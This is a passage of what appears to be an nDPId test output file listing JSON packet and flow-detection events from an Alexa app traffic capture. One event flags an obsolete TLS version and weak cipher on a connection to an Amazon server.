QGEwJVUzEXMBUGA1UEChMOVmVyaVNpZ24sIEluYy4xHzAdBgNVBAsTFlZlcmlTaWduIFRydXN0IE5ldHdvcmsxOjA4BgNVBAsTMShjKSAyMDA2IFZlcmlTaWduLCBJbmMuIC0gRm9yIGF1dGhvcml6ZWQgdXNlIG9ubHkxRTBDBgNVBAMTPFZlcmlTaWduIENsYXNzIDMgUHVibGljIFByaW1hcnkgQ2VydGlmaWNhdGlvbiBBdXRob3JpdHkgLSBHNTAeFw0xMzEwMzEwMDAwMDBaFw0yMzEwMzAyMzU5NTlaMH4xCzAJBgNVBAYTAlVTMR0wGwYDVQQKExRTeW1hbnRlYyBDb3Jwb3JhdGlvbjEfMB0GA1UECxMWU3ltYW50ZWMgVHJ1c3QgTmV0d29yazEvMC0GA1UEAxMmU3ltYW50ZWMgQ2xhc3MgMyBTZWN1cmUgU2VydmVyIENBIC0gRzQwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCy2AXKHHQttRdWOcVKUgmW6EvYDPFon5pCKGLDpTBTflURglsDeg0v4XkEybSWdxmBAZRZ+bz3epkngi23g91aJ3+yA3qcUyXpSB9GT8idKfi+eVb29\/3ZOmjai0uCM0ESw8g8zNaWeoQhGiIEAycXixxoYZMPDlGAMx20tc7rftBirO6zewF072k168rVPanul5jKjapEDiWZShWWpM5tAlQfKmom4gY6Y0istEzRdZNQ\/xMv1trhxhj1n8klXfMAOt4mTbQpCc0PPSNvFkqBFvvygxDDuNbYVTI98b0PvYxSlUoWl3pSIWN1Lxb5xGa+9bUJ2P8nAM1EfG9LP7D3AgMBAAGjggFjMIIBXzASBgNVHRMBAf8ECDAGAQH\/AgEAMDAGA1UdHwQpMCcwJaAjoCGGH2h0dHA6Ly9zMS5zeW1jYi5jb20vcGNhMy1nNS5jcmwwDgYDVR0PAQH\/BAQDAgEGMC8GCCsGAQUFBwEBBCMwITAfBggrBgEFBQcwAYYTaHR0cDovL3MyLnN5bWNiLmNvbTBrBgNVHSAEZDBiMGAGCmCGSAGG+EUBBzYwUjAmBggrBgEFBQcCARYaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9jcHMwKAYIKwYBBQUHAgIwHBoaaHR0cDovL3d3dy5zeW1hdXRoLmNvbS9ycGEwKQYDVR0RBCIwIKQeMBwxGjAYBgNVBAMTEVN5bWFudGVjUEtJLTEtNTM="} +00888{"flow_id":143,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2644,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":553024,"pkt_caplen":399,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":399,"pkt_l4_len":365,"pkt":"ePiC0\/vCAMDKkVoBCABFAAGBkcVAAOcG1ic27xyyrBAq2AG7xm8x5HTjgdbmeFAYf\/m74gAANDAdBgNVHQ4EFgQUX2DPYZBV34RDFIpgKrL1evRDGO8wHwYDVR0jBBgwFoAUf9Nlp8Ld7LvwMAnzQzn6Aq8zMTMwDQYJKoZIhvcNAQELBQADggEBAF6UVkndji1l9cE2UbYD49qecxnyH1mrWH5sJgUs+oHXXCMXIiw3k\/eG7IXmsKP9H+IyqEVv4dn7ua\/ScKAyQmW\/hP4WKo8\/xabWo5N9Q+l0IZE1KPRj6S7t9\/Vcf0uatSDpCr3gRRAMFJSaXaXjS5HoJJtGQGX0InLNmfiIEfXzf+YzguaoxX7+0AjiJVgIcWjmzaLmFN5OUiQt\/eV5E1PnXi8tTRttQBVSK\/eHiXgSgW7ZTaoteNTCLD0IX4eRnh8OsN4wUmSGiaqdZpwOdgyA8nTYKvi4Os7X1g8RvmurFPW9QaAiY4nxug9vKWNmLT+sjHLF+8fk1A\/yO0+MKccOAAAA"} +01462{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":2644,"source":"alexa-app.pcapng","alias":"nDPId-test","flow_id":143,"flow_packet_id":7,"flow_first_seen":1490976177276,"flow_last_seen":1490976177553,"flow_tot_l4_data_len":3640,"flow_min_l4_data_len":20,"flow_max_l4_data_len":1480,"flow_avg_l4_data_len":520,"midstream":0,"l3_proto":"ip4","src_ip":"172.16.42.216","dst_ip":"54.239.28.178","src_port":50799,"dst_port":443,"l4_proto":"tcp","ndpi": {"flow_risk": {"7":"Obsolete TLS version (< 1.1)","8":"Weak TLS cipher"},"proto":"TLS.Amazon","breed":"Acceptable","category":"Web"},"tls": {"version":"TLSv1","client_requested_server_name":"pitangui.amazon.com","server_names":"pitangui.amazon.com,guipitan.amazon.com,alexa.amazon.com,echo.amazon.com,alexa.amazon.ca,guipitan.amazon.ca,alexa.amazon.co.jp,guipitan.amazon.co.jp,alexa.amazon.com.mx,guipitan.amazon.com.mx,alexa.amazon.com.br,guipitan.amazon.com.br,alexa.amazon.com.au,guipitan.amazon.com.au,alexa.amazon.cn,guipitan.amazon.cn","ja3":"d551fafc4f40f1dec2bb45980bfa9492","ja3s":"18e962e106761869a61045bed0e81c2c","unsafe_cipher":1,"cipher":"TLS_RSA_WITH_AES_128_CBC_SHA","issuerDN":"C=US, O=Symantec Corporation, OU=Symantec Trust Network, CN=Symantec Class 3 Secure Server CA - G4","issuerDN":"C=US, ST=Washington, L=Seattle, O=Amazon.com, Inc., CN=pitangui.amazon.com","alpn":"h2,http\/1.1","fingerprint":"13:E9:3B:22:22:61:41:53:CA:B6:3A:AE:C8:B7:23:FB:A5:11:2F:24"}} +00426{"flow_id":140,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2645,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":553064,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoGvxAAOcGTko27xyyrBAq2AG7xmzGEeTr79UTBlAQf\/SPVQAAAAAAAAAA"} +00426{"flow_id":141,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2646,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":553101,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAoWO1AAOcGEFk27xyyrBAq2AG7xm3jvLmam8EpaVAQf\/TaqwAAAAAAAAAA"} +00501{"flow_id":140,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2647,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":553132,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjGxpAAOcGTfE27xyyrBAq2AG7xmzGEeTr79UTBlAYf\/RPRgAAFAMBAAEBFgMBADDysS8s17Av6q29JKVleCyRBxjY2knH\/ButdO+dAcV9hFGlhuDsUlPHeA3HbJgvBIE="} +00501{"flow_id":141,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2648,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":553244,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjWdRAAOcGDzc27xyyrBAq2AG7xm3jvLmam8EpaVAYf\/SXtwAAFAMBAAEBFgMBADB\/aKRnHVktOG33KnjPXWS3VERO0MFSrgghrmWY0NPKg9c1MhDVmZuGh91kAOts6D8="} +00416{"flow_id":143,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2649,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":557042,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZipAAEAGqhysECrYNu8cssZvAbuB1uZ4MeRvL1AQAWKyWwAA"} +00416{"flow_id":143,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2650,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":557329,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZitAAEAGqhusECrYNu8cssZvAbuB1uZ4MeR041AQAW2snAAA"} +00417{"flow_id":143,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2651,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":557465,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"AMDKkaPvePiC0\/vCCABFAAAoZixAAEAGqhqsECrYNu8cssZvAbuB1uZ4MeR2PFAQAXmrNwAA"} +00860{"flow_id":143,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2652,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":560179,"pkt_caplen":380,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":380,"pkt_l4_len":346,"pkt":"AMDKkaPvePiC0\/vCCABFAAFuZi1AAEAGqNOsECrYNu8cssZvAbuB1uZ4MeR2PFAYAXnz3gAAFgMBAQYQAAECAQAVXX3jeAThyeVAk8KZWKgM9hYVxYgQ1UUbuCER1BbvG6egCpu1AJAcEtsjB\/Iqvq3FDRc67oTj4Rh538kl66ceH5gy47MThuQZAbZZKXLFU0fOTJaXhzihy2OAS69+ZlahMXUb8baLhCHuVouEF4o9pWqcmWIAged01h0+IO5A1Ty1uzlxyvz9CH\/KloBEVzfLo3Vy7Jd8OY9ooq\/MIZHakc5IhuzRYJ1ZzEbwg2r8k9iPPG2OpYBqRFNGZZfP91cRfT3npWHawKo0fK5qYstpUWnroGa2VBs48y1Tq0No0MmJIlkIVn\/UUeE95mtbZVzcnXnrJqhU8+wViEtDhcPqFAMBAAEBFgMBADA6muTUVubB1XphbfufwjCzMqYllU4o8jWmiXvCFF9almSOFlgXeSzXcvQ5EZwnVSA="} +02402{"flow_id":140,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2653,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":589655,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXck5VAAEAGdv2sECrYNu8cssZsAbvv1RMGxhHlJlAQAXkBdgAAFwMBACAPOlilCgtsRTrj\/zVYXDs5vENmOyczVGlQvjoRnB5a8hcDAQYwotvvIKKuj9clpdFgpfwtunP\/j\/gs8sq5Pue1mrz8JbWu\/GD58JLm2dBy+qQhn3n+xFlZZUZUScYNXU9zfbd7GQvcUjxXOL7RbymRT74jyiA\/nY6udhZhUIPHQ\/MZ7Eb89bDZH12RFV3CtSTLllu7egnD8hU0mfSHl63PLRUS5WcRrtR8W9wJRkyDdyPLO7vsnoedsiqGz0BjxeRV3ivdoCYRqnyQLWZAOQrw+gBOa7qwyti75Hz9bjdZmR+QoC5HjHo34XbGTEhFlswVmx4NzpsioIV0Vct0nUvvpzOKCRWvoAP6pgxxCp7rflO4pVXS8Q7pOLz3NYCzitCPe6wrGe2Q50JnD8BjCQhjJrE\/e7CinDQkMt+fdWhzzZ0Rd1r8yE9Y\/zxMPrLGc2yMWVjI8wZHjGMYQnwdYvVlZP2X8ixir2CzWZ+UOs9r95t0z7Qp\/X1h3\/uIwx73Rfa2N\/6g4xedSr6rm3Uxni\/icSm0PfYvej7Uo8C0JgiVWnpfMC+XeAvrDwaShEapHetyyiZOJYL7pBLkzLjcHbfymfbXjUY9ivaVsJJNMOYb\/CB7U8NQBIUpkKNKV5+OzhsjawkTMvxpP9vgVDyUBpfzhFGP5zjq41s\/AIpfJuz0KG3CX7\/8K498lXUPGhg8j0bu0DwvpISrOQjUvdsIAN6WBH9DjLS0SJgKVQwaEvwsy7KPN1tdv5b\/euhkVaPbyZgc3Qzb6MW0th8Jinnf4ksRal7bahNV557E5typL8D7BNJGrVbAlqOjt9Ng6hGGNbiNWk6B+zuk3M99XOfj88TECsB7mjRuw7V1zRaVM5Kdp9OyQBBsu12iaSlhJGVTwNd7fo7JN+RiPjrXMm\/ig+TP4bpDrjvAz02CzK5LSeEMPBhYh\/69V4kZiui07CQUa9JopgF2+1Qp0BoXD8ATEFsPwHi90JDep4PRHb8CnhLRwTgyPUs0KMk0dXX0D5W0Oom290lppvfUwvDafuCRR2O4Jt\/RrW0fIbjSx13v5NzgRG1AIA7XQ9u8rG7vuMYkMwkAKHxTsr\/LOW20vQllJfG4mAz6Y95ud6KB1vtSclAe820Rg1M2JY8yfyv7VyBkXIelQnnO1NZAucfvVOy5MjZcV5JT+we7Gqf7wWBRqRiTNsS\/S9QMFcQ29s98uZDpkUexRUTUa80UyYOJZ3nkfV3SV2ZnIpT0HPFTdbzv+Qfq7z2OXkGTzHGLjzXSmI0LfhLrYK0bu1feedZ1aPsY6hm\/g2o0uHH7HsHflesF5TFK8aAIrGhaJ5eyPzxHqIVkzihdqv8dL8Vwvwbcgz8+PnumTa48q4w8sLiZLxhDKREX3Z+syv43IsmCAVPmhp9spLuagL7YhS+OmfwvLTDTnu51r+48NV9zs1LfdNGJsM7ikYtlvCntsSoDoF7oqnDN\/vGMnGK7Mh2XZaXmG+Mtr3hdRFyesgZRKuKPSqp+bLsLwhjTE3ezdiRc7ml8lUq2P0Txvn3oJv\/UikTdJzhFDUPtBqwkWAYRyxDFlp9Bjcm2qFeJB5bO2H+LrRom15HOPtmOr0J3zuTi2Pnu2aUqEbQXrxTMQRYGMVXRdjQryUD8QPYK+Lt7dEIM5L\/baW\/m\/eYtJk7wmXtfLE5GZgvCE\/japY23mTATkKD2PKIJEms7IaA1aKq8yRl2IWUBhuO2AVS9u4w9SEtf1xJg2KqLOCjG3RtkCDc\/lKGsTuDeroZMLJVSvdsHt52vyeL8dfQ1dcek4HVo0KXF+CCMGycHdgSoByMTw6uIsQKjl2Lv4nnaZ9J6WPtuNHx0ffwdhRytKLUetOqCQ+SHUZ\/7laZSWO1sZEnkNTqTs3C+xXEH8PrWBo79OtfTDzbgPg6PnnQtnCz6tukTGmvvGP+\/+7QlwT8="} +00647{"flow_id":140,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2654,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":589946,"pkt_caplen":220,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":220,"pkt_l4_len":186,"pkt":"AMDKkaPvePiC0\/vCCABFAADOk5ZAAEAGfAqsECrYNu8cssZsAbvv1Ri6xhHlJlAYAXkefgAA+Rzf6zr\/NKfwgzUDGEhZDiqYq5KNh5Ls8RIpRZdu5T\/RdzlWcXrJ0AKOqK1div5r+vMsMBTQ6dg6kajV0oM13HGv7rmSckytddlgvKOEHiZGRLhEVbgaecIBbhGu2AsiaGlTxDHPcJmrH1H5Onf4R5azNI0HJW42LDn023IQZLeoYgiA7j0YiUzxpZxnMiGYxQ4rbVYH\/uDkklWFyIi5SCqvu+EKSQ=="} +02392{"flow_id":141,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2655,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":597284,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcpDNAAEAGZl+sECrYNu8cssZtAbubwSlp47y51VAQAXnDfQAAFwMBACDuIvswzppSMecidxC5C6losRfyquTCNxpppIzJ73mabBcDAQZQZAL+mypDdtL6zF\/WZ4WjlrssXhKyS1yHx7D+DUt13tnGBWCi4t1R2pvrqJYzaFqBHH6nxtYaxN5b2sGx94ItYXzsSYhh55YGkLawojFQoEfw2ooCWli3NFFOCUHXWM0gVphWnfNJ7GWmEtJUZ3t1iwAGsHSzXUTYdkA\/2VXfBVL8rxrnZza6\/3qjJ8AlZqcbI\/XaALmNfuIb+mQ661rT0cDQ7JvRaga86diehSq84U7YQHoP1fpvJzP3PyKhJeuZgPnc0MBvcuAlv3V+W+QDYPk2i91YhyqVvnO0dBe\/a5AkoQVjoV7Mpy84SdIMvA4kNfY\/UfElWt4wMHlGkKu+jHxB9khXpBzXtASKhETj9rlBzyrZlpkkG737rD1Tr6UiQontxS4FX\/xHa88CflC3TKX1gBcmD361Cz0q+ecMr7DynoGVNDcM6HoqfLZe\/ICBpzG7QyQ7W9MxfZbQLimxkdDFjsuUnB4tlJ2amI+PLz4g7apEKqvqfOd\/oQ9x0cr8p9NI9cAhtFq8S9JDzKeQ3wLe8ksLLIuHLPmwP9lPYMAW3w5n5OTikH8dDrO4Wz8rC1JEYPfWbatKmQjYgUSKmAsO3vS0w85D4lQa2n7WvbaBX2SW2xqy3o4tpzxwlrB+by7TELlE9u7OsIOMHvdd3YeFMdwiD5iKnJK\/QTud0xdm4L4E0Kaohm4u\/3LPdFyvdUzeGdJzt0mZUQlifS4FLOzZsr80pfa5EICJ9h5gZcLAA4N4O+rjtzK\/TfDmgug7mrEpS9SPXZ7l\/yXFHdrfDkbhwAXPdOttQoqKUeqHB4nhNxdjgiucIXMSDi3ZYhckFULY\/b8w+DsUAvgqjMav\/08WBr6oAul5Whl\/QMK9fdhIRDaTTs+XqALC5fI33Yt74hukUCJkB9QeNzrIpuBtGExsLq7d1ppz3ITjyZ2RIRLkN1bA437z8Ql+IpwDm3\/6kRHw3CmSMnnkxId+JeBXT9o6Rt3VlXTjXr7gFeiYtGBDOe8s8l8xXotTKO4jHhHTnnL\/dIFzB0Lwx44cNti0SIT4iBCdp66wAhklboKAy8mn76W5b0OhEOH65KLm0qaCxgcUxuAtxe0wbQ1AuO4flepm5xDTtTe8U7Nnt9x+lhcdpHtHjixwCmsWBe7ESI27mnOcWB74K+2D3XCDQRD0O1AE8V6NEYRD\/QP2JCcfeiaGGiSY3VdoNvidAmcA0CxwL7Llv23WkehqhYK7Zwm1r52zSQ93tCns7V2Hy2A32bb3dendN4KJxwM+nvJBS0bT88kgfh2XmS12lKFxUyWaeUG8bPtWuYHKms3ASB3Q0pnG7hXY6o8bR1Su\/drRlvbpb4SuEuMAeaGLaSMrrlUgqb4+s+y0AApyJnN4rgQFbqsT2oiXDTfbFMi2b1vvBmd73lAPcdFjM4Oh030c7BwUOGHnMhGwihirN8s+MB7aPclYMEQrvbl3x5t8VvwDETKmfPCxD8thE50sjnqv0XVbC2LQ3j2mLgdaIIWoccTJTMT+fu+6zkjePIFOcn9+Z+SbeskTWsh5hqDjKtL3EFKlEdscQZTHo241rmux2sREobf+M\/6q18gd0Xc9Dq67EtbEyhmmS7LIZunsnCBNxwA42R9zMf78GEruhC3CoUMGtcPh4b+IsyaUrnAXEjdn+tOM4LqFzSabvNN35lLQlbBEpweZdwzVj7gxGAHPSibgaQaxJxcUKidEjcPjQeOPqnnIOf4wIGhCZyWLxx7zD67ozKw9SZCw0R+I39BYONdDUVxVWVHjIlKoTcBcAGy+PqbydElFwUQMlxjDaApVi8ztNHVT0+xaxtA2XRppU0UkLQ6wvQVnlxihyGoT8CVQ6LJxIaGkqNnQd1fNjYVrtke7GUjZIYw3Re5b+Ic="} +00687{"flow_id":141,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2656,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":597581,"pkt_caplen":252,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":252,"pkt_l4_len":218,"pkt":"AMDKkaPvePiC0\/vCCABFAADupDRAAEAGa0ysECrYNu8cssZtAbubwS8d47y51VAYAXn+vwAAou4Nuyvkq70ewnCkeGOe5ZFIPUspR1lJJL8kVunB4W7ILt3TJrNstVaZyFvHJfxiD61KIeBrhYI0zzYMJHrlpYYEYiB3wD0CydktEHkFtj+\/nOttCsrdpEY9UQokHfx4hskQfcg\/YVPAG2Pk1bRwg2+\/HoiiPnSHlm6Wb5q8JrOfu20KWsEwv23tkMlMQ1eiWwKSwDXxWOjTR1gwU+a21rR4qUnsGcAs3SNzXts5pevcCwQHsXcVhJAo2VCpGczB6Ss+2in4"} +00426{"flow_id":143,"flow_packet_id":12,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2657,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":635221,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAolCVAAOcG1SA27xyyrBAq2AG7xm8x5HY8gdbnvlAQf\/QrdgAAAAAAAAAA"} +00502{"flow_id":143,"flow_packet_id":13,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2658,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":635384,"pkt_caplen":113,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":113,"pkt_l4_len":79,"pkt":"ePiC0\/vCAMDKkVoBCABFAABjlTFAAOcG09k27xyyrBAq2AG7xm8x5HY8gdbnvlAYf\/S+vgAAFAMBAAEBFgMBADB9gvYuBpcbUnBnuBvPzdkhPYLU8E2S00JokREMGv3BSLBGsmwk\/LW1V8\/IwFabyEU="} +02401{"flow_id":143,"flow_packet_id":14,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2659,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":655887,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"AMDKkaPvePiC0\/vCCABFAAXcZi5AAEAGpGSsECrYNu8cssZvAbuB1ue+MeR2d1AQAXlXeAAAFwMBACAY7RYjmU\/ZhJ9v77tEfx3aXsTsj3z7eLRSu0QqdtgNqxcDAQYgsaxnLY3oH0Hi1tIEug2oE97F42Mq94fifxB1nM6wjdNV7tPV6kYShpMGwWpJsAHNAJxjdkdr1JHf16AwrhrPWOHo7kt7PpH5VTryJFv4O5KDdfdNng055h\/itJAN8rOXzEa8Wf20xrVr9j2xTyVgFrofuMfQepJQC1RL\/nCnJt9p6KnewZRUb7PLNvkSmFjkqdWGDrLt9L4B6rrMkPq8yLmLUrPSqhew3FOaMwNx0eTSH8FhAWM6Z4awXeOhxAm3FMjhPx6XF2uXEJifkBEayR5PJbvjbVnwUOKmpnatsAjitrliQ\/dRpxpiUfHvVnAGbuduLi47\/6uMpJJ8F0OAHFC1eDx+FnustJqlZRljfoplGaisvjMXa1Vji\/jRFoD4MAhu8CL5tvIZyansPZ5QhgTKAJ6KM5UmXDx9jQL5\/BvFQe9x2nkvcn+B4B3BMG9K+RP7pDQE5+sAq4o73HHcZ12h8YY9aaMaU3Cl33UU537t5tl7HzfRY8q53cw7W1qGzSET3wFeiA6pNoiKihF3eTIueviWNZeXcC0+ep3Zu3np9+UXr25XcnkeeSW0V4okm82Vm3A9dxzUJt7I4ec9wIHfJzcW4JuIg54K3JaZWJTVwdVGkgT3d6iGdqJ4hqPsjiafw9O3o1h0XETvYAsa34F6ma3LZ9sLeOe\/aKX3bVE9WT5jy\/ANONkyUaIwbrA5l8BcRG0Ja0JKQdgao0qt6rsELEj1cnr8Ang+dQ5vD6etaItJKPxbA+bW2cejg9+KpIx7P0o1kqSI3eKxcuvxtAUK65kthrhKd1DZLIF7YtHNw8mgWm5IhwQiIRGzmx+Kqm113lKONBeA+u1OYr58PCfs7\/7v4M2BDciYl2Nvq0gDbgLJRU\/5SFmVxU\/eEhewThqwQ3vkVywiNTFq+L2YwXeadTadWdk7EkrcFT26YSAczNrBwvAjy1HrdpgB8UvLJlyj1uvd7rkgBzAOPrcKKnA8z2Svk7grxGtVOcm6Bqu38ngWN9QNxtza9vq5QoMshb5bqQagBba9+B00PjtKWpIWi7zyQ\/Tqu+q\/JAkCfs7PfX+XQOgxMKlvDfOMEaZQBmVpNV32yibUaWuDlo\/5YddU9F\/HDAM\/+XrbXlezjohNevFKGOoToB2OwZLPJkiZKAnlPc3d61zDix\/sR\/bKw5JdBRLaGHV+uYGiXv5knviYkicbg7J+ANvqWHNQNuuaVhPtzgG1PClnFF4kOA2t81OrnXju\/fjQbhRofaTEfr4+lKq9dXXECbREI2ENnOx+PESVQez3yqpo9\/2gEgrDQwsU1tikt901LTdnjw06Iz+4vxBBbCtnGS9FxaZ+Pkx6STu8ubodarCVTxDXCIPdC7ilZEjkHy6jxk\/lrQLwXKdZRrl\/pXmufRAQTvPXjXiH1cQal3yS2wXZr3a3dwyWwEQqEMzd+Rsjd164SwRJG7dwobNmo31wh8PvG2WBRU7miqMENnvH\/zaIGPQK3Aj4hxwLFrc+l6yc15W1cG0IUdeMamlMJz5S6lSV\/K1mnF4DmvMZpoRf6ZlEOYg1pcjM2WTZmTnMpZb696BYrclRau+Icoe8KNXaP2QhCDWiUwbVs9RR8TkhpnZa\/ij2jigNGRgcTdJxEqlgemgx55U7xyZ6VZt2Gt6ucu6hCYYj3LbK3Seqc6BWT\/IIu46E2XTtvH4uTvL+K6nd\/GCGSi3TPGTWjDjaLZ2J0Jkq6yLOU3rwhdaeNBwGelER+GNh8cr\/YEAGC0DxO7Dx2mneH5VQsHlRRfeGGuUNj7uSDrEGYNcl26ZSJ+9P0yWEKdcRaJ9fCnspvdPxoQP9cJDc54R5ZK2NIGOWX0djCabyNtZ12IXMy6xQxaC5eDB9lRKjv\/OG1O9Uk1KYryMduCw="} +00624{"flow_id":143,"flow_packet_id":15,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2660,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976177,"pkt_ts_usec":656297,"pkt_caplen":204,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":204,"pkt_l4_len":170,"pkt":"AMDKkaPvePiC0\/vCCABFAAC+Zi9AAEAGqYGsECrYNu8cssZvAbuB1u1yMeR2d1AYAXk1CgAAZy8oy9CSnqJQ3MRlhyQpptDmDezU2q9t7YG6Behrt6rcxKtryiTqa6YU3rEkKsEivWFfbVhxjOddbXhWOv1sQdiH\/xz4GEs\/rF6wYQdWMMNq21MkVS+iaX5O\/xY3eH0PiKuZ6MR5dCtTBkXPbRETLi3Bq2pzOMTx2Usahq\/Y+rkfadNdhvqRlRRiPIEDP0AnvJNdt2MT"} +00446{"flow_id":142,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2670,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976178,"pkt_ts_usec":110288,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"AMDKkaPvePiC0\/vCCABFAAA8lfxAAEAGejasECrYNu8cssZuAbts9RaEAAAAAKAC\/\/9M+QAAAgQFtAQCCAoA9oPjAAAAAAEDAwg="} +00429{"flow_id":142,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":2672,"source":"alexa-app.pcapng","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1490976178,"pkt_ts_usec":284687,"pkt_caplen":62,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":62,"pkt_l4_len":28,"pkt":"ePiC0\/vCAMDKkVoBCABFAAAww9ZAAOcGpWc27xyyrBAq2AG7xm5KXM+cbPUWhXASH\/7T5AAAAgQFtAEDAwY="} 